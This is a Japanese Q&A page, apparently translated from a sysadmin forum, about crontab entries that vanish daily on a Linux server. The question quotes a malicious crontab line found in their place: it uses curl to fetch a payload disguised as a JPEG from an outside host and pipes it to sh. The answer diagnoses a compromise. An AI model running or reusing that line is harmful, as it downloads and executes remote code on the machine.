LinuxサーバーのCrontabエントリは毎日自動的に削除されます。

LinuxサーバーのCrontabエントリは毎日自動的に削除されます。

私のLinuxのCrontabエントリは毎日削除されます。私はこの項目を追加し、次の日に確認したときに私が見つけることができるものは次のとおりです。

*/60 * * * * curl https://ooo.0o0.ooo/2017/01/21/58837a6d11262.jpg -k|dd skip=3458 bs=1|sh

同時に、rootユーザーのcrontabエントリはまだ存在します。

ベストアンサー1

シェルスクリプト(JPEGに偽装)をダウンロードして実行するためのcrontabエントリは、システムが破損していることを示す強力なマークです。影響を受けたコンピュータをシャットダウンし、ITチームに何をすべきかを問い合わせる必要があります。

(この破損が原因でcrontabエントリが消える原因になる可能性があります。おそらく誤ってホストされているすべてのマルウェアがcrontabを上書きする可能性があります。)

おすすめ記事